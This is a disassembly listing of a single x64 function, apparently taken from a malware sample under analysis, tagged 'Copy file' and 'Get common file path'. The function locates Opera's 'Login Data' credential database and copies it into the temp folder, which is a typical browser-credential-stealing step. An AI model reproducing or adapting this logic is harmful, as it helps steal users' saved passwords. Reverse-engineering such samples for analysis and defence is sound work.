Function at 0x140004350
Capabilities:
Copy file
Get common file path

Disassembly:
push rdi
sub rsp, 0x860
mov rax, qword [0x1400f1290]
xor rax, rsp
mov qword [rsp + 0x850], rax
lea rax, str.ENCWCHAR_Opera_SoftwareOpera_StableLogin_Data
mov qword [rsp + 0x2c0], rax
lea rax, str.ENCWCHAR_Opera_SoftwareOpera_StableDefaultLogin_Data
mov qword [rsp + 0x2c8], rax
lea rax, str.ENCWCHAR__sDATABASE
mov qword [rsp + 0x2d0], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x2a8], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0x410], 0
jmp 0x1400043e2
mov eax, dword [rsp + 0x410]
inc eax
mov dword [rsp + 0x410], eax
movsxd rax, dword [rsp + 0x410]
cmp rax, 3
jae 0x140004433
movsxd rax, dword [rsp + 0x410]
movsxd rcx, dword [rsp + 0x410]
mov dword [rsp + 0x28], 0x96
mov rax, qword [rsp + rax*8 + 0x2a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 8
mov edx, dword [0x1400f36f4]
mov rcx, qword [rsp + rcx*8 + 0x2c0]
call fcn.14000e1b0
jmp 0x1400043d2
mov qword [rsp + 0x2b8], 0
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x2d8], rax
cmp qword [rsp + 0x2d8], 0
je 0x1400046c8
mov rdx, qword [rsp + 0x2d8]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x1400046ba
mov edx, 0x10000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x418], rax
cmp qword [rsp + 0x418], 0
je 0x1400046ba
mov r9, qword [rsp + 0x2d8]
lea r8, [rsp + 0x2e0]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x418]
call fcn.1400c2880
mov qword [rsp + 0x420], 0
lea r9, [rsp + 0x420]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400df850]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1400046ac
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x428], rax
cmp qword [rsp + 0x428], 0
je 0x14000469e
xor eax, eax
mov word [rsp + 0x430], ax
lea rax, [rsp + 0x432]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rax, [rsp + 0x170]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x420]
lea r8, [0x1400d6fe8]
mov edx, 0x104
lea rcx, [rsp + 0x430]
call fcn.1400c2880
lea rcx, [rsp + 0x430]
call qword [0x1400f4d98]
cmp eax, 0xffffffff
je 0x14000458d
lea rax, [rsp + 0x170]
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0
jne 0x140004601
xor eax, eax
mov word [rsp + 0x640], ax
lea rax, [rsp + 0x642]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x420]
lea r8, [0x1400d6ff8]
mov edx, 0x104
lea rcx, [rsp + 0x640]
call fcn.1400c2880
lea rcx, [rsp + 0x640]
call qword [0x1400f4d98]
cmp eax, 0xffffffff
je 0x140004601
lea rax, [rsp + 0x40]
mov qword [rsp + 0x2b8], rax
cmp qword [rsp + 0x2b8], 0
je 0x140004690
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x420]
lea r8, [0x1400d7008]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x428]
call fcn.1400c2880
xor r8d, r8d
mov rdx, qword [rsp + 0x418]
mov rcx, qword [rsp + 0x428]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp eax, 1
jne 0x140004690
mov rcx, qword [rsp + 0x420]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x428]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x418]
jmp 0x1400046ca
mov rcx, qword [rsp + 0x428]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x420]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [rsp + 0x418]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x2d8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.1400c2a80
add rsp, 0x860
pop rdi
ret